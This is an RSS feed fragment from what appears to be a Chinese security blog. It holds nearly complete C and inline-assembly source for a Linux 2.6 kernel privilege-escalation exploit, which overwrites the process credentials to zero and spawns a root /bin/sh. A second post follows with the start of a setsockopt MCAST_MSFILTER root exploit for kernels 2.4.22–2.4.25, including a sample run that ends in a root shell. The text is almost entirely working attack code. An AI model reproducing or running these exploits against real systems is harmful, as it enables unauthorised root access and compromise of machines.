#define
__NR_new_call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
35<br>
static inline _syscall2(int, new_call, unsigned int ,len,char *
,code);<br>
static char * get_stack_bottom ( void );<br>
#define NOP 'A'<br>
<br>
//===================[ kernel 2.6* privilege elevator
]===============================<br>
//globals<br>
int uid, gid;<br>
unsigned task_size;<br>
unsigned stack_bottom;<br>
unsigned user_cs,user_ds;<br>
extern load_highlevel;<br>
__asm__<br>
(<br>
"load_highlevel:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
"movl $task_size,%eax&nbsp; \n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
//task_size=kernel space start<br>
"mov
(%eax),%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
//find correct stack bottom in kernel space<br>
"l00p: \n"<br>
"add $0x1,%eax \n"<br>
"mov (%eax),%ebx \n"<br>
"and $0xffff00ff,%ebx\n"<br>
"cmp $0x000000ba,%ebx \n"<br>
"jne l00p\n"<br>
"add $0x4,%eax\n"<br>
"movl (%eax),%edx\n"<br>
"cmpl $0x8eda8e00,%edx\n"<br>
"jne l00p\n"<br>
"add $0x6,%eax\n"<br>
"mov (%eax),%ebx\n"<br>
"test $0xffff0000,%ebx\n"<br>
"jz l00p\n"<br>
"test $0x00000fff,%ebx\n"<br>
"jnz l00p\n"<br>
"mov&nbsp;&nbsp;&nbsp; (%eax), %eax\n" //stack bottom 0xffffe000
etc.<br>
"and&nbsp;&nbsp;&nbsp;
%esp,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
"pushl&nbsp;
%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
"call&nbsp;&nbsp;
set_root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
"pop&nbsp;&nbsp;&nbsp;
%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
//ret to userspace-2.6.* version<br>
<br>
"
cli&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" movl
$user_ds,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //DS user selector<br>
"pushl (%eax)\n"<br>
" pop&nbsp;&nbsp;
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //SS<br>
" movl $stack_bottom,%eax&nbsp; \n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
//ESP<br>
"pushl
(%eax)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
$0x246&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EFLAGS<br>
"movl
$user_cs,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //DS user selector<br>
"pushl (%eax)\n"<br>
" pushl
$sc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EIP must not be a push /bin/sh
shellcode!!<br>
"iret&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
);<br>
//=================================================================================<br>
void configure(void)<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned val;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; task_size =
((unsigned)&amp;val + 1 GB ) / (1 GB) * 1 GB;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
printf("task_size:%p\n",task_size);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
stack_bottom=(unsigned)get_stack_bottom();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uid=getuid();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; gid=getgid();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; user_ds=myget_ds();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; user_cs=myget_cs();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
//printf("%x%x\n",user_cs,user_ds);<br>
<br>
}<br>
void set_root(unsigned int *ts)<br>
{<br>
if((unsigned int*)*ts!=NULL)&nbsp;&nbsp;&nbsp;<br>
ts = (int*)*ts;<br>
int cntr;<br>
//hope you guys are int aligned<br>
for(cntr = 0; cntr &lt;= 512; cntr++, ts++)<br>
&nbsp;&nbsp; if( ts[0] == uid &amp;&amp; ts[1] == uid &amp;&amp;
ts[4] == gid &amp;&amp; ts[5] == gid)<br>
&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ts[0] = ts[1] =
ts[4] = ts[5] = 0;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;
__asm__("int3");<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
}<br>
<br>
char *p[]={"/bin/sh"};<br>
void sc(){<br>
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __asm__("int3");<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
execve("/bin/sh",p,NULL);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(0);<br>
}<br>
//====================================================================================<br>
//====================================================================================<br>
<br>
//**************************************************************************************//<br>
//--------------------------------find stack bottom
begin-------------------------------------//<br>
//rip from scz's code<br>
typedef void Sigfunc ( int );&nbsp; /* for signal handlers */<br>
<br>
Sigfunc *
signal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
( int signo, Sigfunc * func );<br>
static Sigfunc *
Signal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
( int signo, Sigfunc * func );<br>
static char&nbsp;&nbsp;&nbsp; * get_stack_bottom ( void );<br>
static void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
segfault&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ( int
signo );<br>
<br>
static
sigjmp_buf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
jmpbuf;<br>
static volatile sig_atomic_t&nbsp; canjump = 0;<br>
static
Sigfunc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*seg_handler;<br>
static
Sigfunc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*bus_handler;&nbsp; /* for xxxBSD */<br>
<br>
Sigfunc * signal ( int signo, Sigfunc * func )<br>
{<br>
&nbsp;&nbsp;&nbsp; struct sigaction act, oact;<br>
&nbsp;&nbsp;&nbsp; act.sa_handler = func;<br>
&nbsp;&nbsp;&nbsp; sigemptyset( &amp;act.sa_mask );<br>
&nbsp;&nbsp;&nbsp; act.sa_flags&nbsp;&nbsp; = 0;<br>
&nbsp;&nbsp; if ( sigaction( signo, &amp;act, &amp;oact ) &lt; 0
)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return( SIG_ERR );<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp; return( oact.sa_handler );<br>
}&nbsp; /* end of signal */<br>
<br>
static Sigfunc * Signal ( int signo, Sigfunc * func )&nbsp; /* for
our signal() funct<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ion */<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Sigfunc * sigfunc;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if ( ( sigfunc = signal( signo, func ) ) == SIG_ERR )<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
exit( EXIT_FAILURE );<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return( sigfunc );<br>
}&nbsp; /* end of Signal */<br>
<br>
static char * get_stack_bottom ( void )<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
volatile char *c;&nbsp; /* for autovar, must be volatile */<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
seg_handler = Signal( SIGSEGV, segfault );<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
bus_handler = Signal( SIGBUS, segfault );<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = (
char * )&amp;c;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if ( sigsetjmp( jmpbuf, 1 ) != 0 )<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Signal( SIGSEGV, seg_handler );<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Signal( SIGBUS, bus_handler );<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return( ( char * )c );<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
canjump = 1;&nbsp; /* now sigsetjump() is OK */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
while ( 1 )<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*c = *c;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
c++;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return( NULL );<br>
}&nbsp; /* end of get_stack_bottom */<br>
<br>
static void segfault ( int signo )<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if ( canjump == 0 )<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return;&nbsp; /* unexpected signal, ignore */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
canjump = 0;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
siglongjmp( jmpbuf, signo );&nbsp; /* jump back to main, don't
return */<br>
}&nbsp; /* end of segfault */<br>
<br>
//**************************************************************************************//<br>
//**********************************The
end*********************************************//<br>
<br>
int myget_cs()<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __asm__("movl
%cs,%eax\n");<br>
}<br>
int myget_ds()<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __asm__("movl
%ds,%eax\n");<br>
}<br>
int main(int argc,char **argv)<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char code[1024];<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int len;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
//stack_bottom=0x80000000;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; configure();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
memset(code,NOP,1024);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len = 256+8+4+4;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("code addr
is:%p\nset_root is:%p\nsc
is:%p\n",&amp;load_highlevel,&amp;set_root,&amp;sc);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(int *)(code+256+8) =
(int)&amp;load_highlevel;//eip<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(int *)(code+256+8+4) =
(int)&amp;load_highlevel;//eip<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new_call(len,code);<br>
<br>
}<br>
<br>
六、感谢<br>
&nbsp;&nbsp;&nbsp; 感谢陈宇(grip2)和梁彬(lb)的讨论和帮助
]]></description><guid>http://www.i170.com/Article/34390</guid><trackback:ping>http://www.i170.com/Article/34390/trackback</trackback:ping><comments>http://www.i170.com/Article/34390#comment</comments><wfw:commentRss>http://www.i170.com/Article/34390/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/21299</link><title><![CDATA[Linux kernel setsockopt MCAST_MSFILTER权限提升(EXP)]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Mon, 10 Apr 2006 11:41:56  +0800</pubDate><description><![CDATA[<br>
/*<br>
&nbsp;* Linux kernel setsockopt MCAST_MSFILTER privilege
elevation<br>
&nbsp;* For kernel 2.4.22 - 2.4.25<br>
&nbsp;*<br>
&nbsp;* 2006-04-07<br>
&nbsp;* Written by grip2 &lt;gript2@hotmail.com&gt;<br>
&nbsp;* Thanks airsupply<br>
&nbsp;*<br>
&nbsp;* grip2@debian:~/kernel-sec/exp-msfilter$ ./kexp-msfilter<br>
&nbsp;* numsrc: 0x4000000c msize: 0x40 gsize: 0x68c optlen:
0x68c<br>
&nbsp;* Prepare ...<br>
&nbsp;* full_numsrc:
15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; overflow_numsrc:
3<br>
&nbsp;*
size-64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
87&nbsp;&nbsp;&nbsp; 118&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 1<br>
&nbsp;*
size-64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
119&nbsp;&nbsp;&nbsp; 177&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 1<br>
&nbsp;* Exploiting ...<br>
&nbsp;* setsockopt: Cannot assign requested address<br>
&nbsp;* sh-2.05b#&nbsp;<br>
&nbsp;**/<br>
<p class="partingline">[separator]</p>
<br>
#include &lt;string.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;linux/unistd.h&gt;<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/socket.h&gt;<br>
#include &lt;linux/in.h&gt;<br>
#include &lt;sys/ipc.h&gt;<br>
#include &lt;sys/sem.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;assert.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;linux/sysctl.h&gt;<br>
#include &lt;signal.h&gt;<br>
#include &lt;setjmp.h&gt;<br>
#include &lt;wait.h&gt;<br>
<br>
#define KB * 1024<br>
#define MB * 1024 KB<br>
#define GB * 1024 MB<br>
#define NOP 'A'<br>
int uid, gid;<br>
unsigned task_size;<br>
unsigned user_cs,user_ds;<br>
<br>
void **sys_call_table;<br>
#define __NR_hijack_getroot&nbsp;&nbsp;&nbsp; 0<br>
static inline _syscall1(int, hijack_getroot, unsigned long *,
val)<br>
<br>
#define SOL_IP &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 0<br>
#define MY_NUMSRC&nbsp;&nbsp;&nbsp; 12<br>
<br>
#define SIZE_PIPE_INODE_INFO &nbsp;&nbsp;&nbsp; 64
&nbsp;&nbsp;&nbsp; /* sizeof(struct pipe_inode_info) */<br>
#define SLAB_SIZE &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
(fix_slabsize(SIZE_PIPE_INODE_INFO))<br>
<br>
#define MAX_SEM_LIMIT &nbsp;&nbsp;&nbsp; 4096<br>
static int sem_handles[MAX_SEM_LIMIT];<br>
static int sem_count = 0;<br>
<br>
/*<br>
&nbsp;* (kernel-2.4.22) -- ipc/sem.c<br>
&nbsp;* ...<br>
&nbsp;* size = sizeof (*sma) + nsems * sizeof (struct sem);<br>
&nbsp;* sma = (struct sem_array *) ipc_alloc(size);<br>
&nbsp;* ...<br>
&nbsp;*/<br>
#define COMPUTE_NSEMS(slabsize) (((fix_slabsize(slabsize)) - 56) /
8);<br>
<br>
static int fix_slabsize(slabsize)<br>
{<br>
&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp; &nbsp;* (kernel-2.4.22)<br>
&nbsp;&nbsp;&nbsp; &nbsp;**/<br>
&nbsp;&nbsp;&nbsp; int cache_sizes[] = {<br>
#if PAGE_SIZE == 4096<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 32,<br>
#endif<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 64,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 128,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 256,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 512,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 1024,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 2048,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 4096,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 8192,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 16384,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 32768,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 65536,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 131072,<br>
&nbsp;&nbsp;&nbsp; };<br>
<br>
&nbsp;&nbsp;&nbsp; int num, i;<br>
<br>
&nbsp;&nbsp;&nbsp; num = sizeof(cache_sizes)/sizeof(int);<br>
&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; num; i++) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (cache_sizes[i] &lt;
slabsize)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
continue;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; slabsize =
cache_sizes[i];<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return slabsize;<br>
}<br>
<br>
unsigned long get_sys_call_table(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; FILE *fp;<br>
&nbsp;&nbsp;&nbsp; char linebuf[128];<br>
&nbsp;&nbsp;&nbsp; char stuff[64];<br>
&nbsp;&nbsp;&nbsp; unsigned long addr;<br>
&nbsp;&nbsp;&nbsp; int found = 0;<br>
